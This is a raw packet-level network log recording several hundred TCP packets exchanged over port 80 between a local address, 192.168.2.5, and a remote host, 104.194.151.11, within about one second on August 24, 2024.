Aug 24, 2024 11:01:59.901880980 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901899099 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902000904 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902012110 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902023077 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902040005 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902050972 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902051926 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902066946 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902122974 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902153969 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902163982 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902195930 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902206898 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902245998 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902328968 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902340889 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902349949 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902359962 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902379990 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902381897 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902391911 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902400017 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902403116 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902415037 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902420998 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902426958 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902436972 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902446985 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902447939 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902462959 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902476072 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902477026 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902487040 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902494907 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902503014 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902515888 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902520895 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902527094 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902539968 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902549982 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902554035 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902568102 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902570009 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902600050 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902616978 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902625084 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902627945 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902643919 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902657032 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902667999 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902668953 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902678967 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902689934 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.902693987 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902707100 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.902735949 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.968671083 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.968683958 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.968696117 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.968756914 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.968797922 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.968842030 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.968853951 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.968863964 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.968883038 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.968894005 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.968895912 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.968908072 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.968919039 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.968936920 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.968946934 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.968950033 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.968957901 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.968969107 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.968972921 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.968983889 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.968995094 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.968998909 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969012976 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969024897 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969024897 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969036102 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969044924 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969048977 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969065905 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969077110 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969080925 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969086885 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969099998 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969116926 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969120026 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969127893 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969140053 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969141006 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969151020 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969163895 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969166994 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969178915 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969187975 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969197035 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969204903 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969216108 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969225883 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969230890 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969235897 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969248056 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969254017 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969259977 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969288111 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969297886 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969310045 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969321012 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969326973 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969326973 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969347954 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969388008 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969399929 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969400883 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969434977 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969443083 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969454050 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969454050 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969465017 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969477892 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969496012 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969499111 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969510078 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969520092 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969523907 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969537020 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969546080 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.969547033 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969569921 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.969604015 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.993613005 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.993683100 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.993694067 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.993714094 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.993757963 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.993787050 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.993798018 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.993808031 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.993819952 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.993835926 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.993850946 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.993882895 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.993901014 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.993912935 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.993951082 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.026582956 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.031470060 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203319073 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203336954 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203353882 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203365088 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203376055 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203387022 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203387976 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203398943 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203409910 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203412056 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203422070 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203433037 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203444958 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203450918 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203457117 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203468084 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203473091 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203479052 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203499079 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203501940 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203507900 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203515053 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203526020 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203536987 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203547001 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203547955 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203558922 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203568935 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203573942 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203579903 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203592062 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203599930 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203610897 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203612089 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203624010 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203634024 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203640938 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203651905 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203663111 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203675032 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203676939 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203686953 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203697920 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203699112 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203708887 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203717947 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203721046 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203736067 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203743935 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203769922 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203773022 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203782082 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203794003 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203795910 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203805923 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203819036 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203834057 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203854084 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203871965 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203891039 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203902960 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203913927 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203924894 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203936100 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203942060 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203948021 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203953981 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203964949 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203977108 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.203989029 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.203989983 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204000950 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204005957 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204015970 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204029083 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204049110 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204098940 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204236031 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204252005 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204262018 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204272032 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204282999 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204287052 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204293966 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204301119 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204304934 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204315901 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204327106 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204336882 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204345942 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204349041 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204363108 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204366922 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204375029 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204385042 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204386950 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204405069 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204407930 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204416037 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204427958 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204427958 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204440117 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204452038 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204463005 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204467058 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204473972 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204492092 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204499006 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204503059 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204505920 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204514980 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204525948 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204538107 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204538107 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204550028 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204561949 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204576969 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204579115 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204590082 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204596996 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204602003 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204613924 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204619884 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204626083 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204636097 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204639912 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204647064 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204658031 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204665899 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204668999 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204679966 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204689026 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204691887 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204704046 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204705000 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204715967 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204729080 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204735041 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204739094 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204752922 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204763889 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204767942 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204776049 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204787016 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204791069 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204799891 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.204809904 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.204843998 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.205030918 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.205043077 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.205053091 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.205071926 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.205079079 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.205082893 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.205092907 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.205097914 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.205105066 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.205131054 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.205163002 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.205193996 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.205205917 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.205216885 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.205228090 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.205235958 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.205240011 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.205259085 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.205286980 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.288913012 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.288928032 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.288937092 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.288948059 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.288980007 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.289030075 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.315893888 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.320717096 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.484847069 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.484865904 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.484944105 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:00.484965086 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.484982967 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:00.484987974 CEST	49704	80	192.168.2.5	104.194.151.11
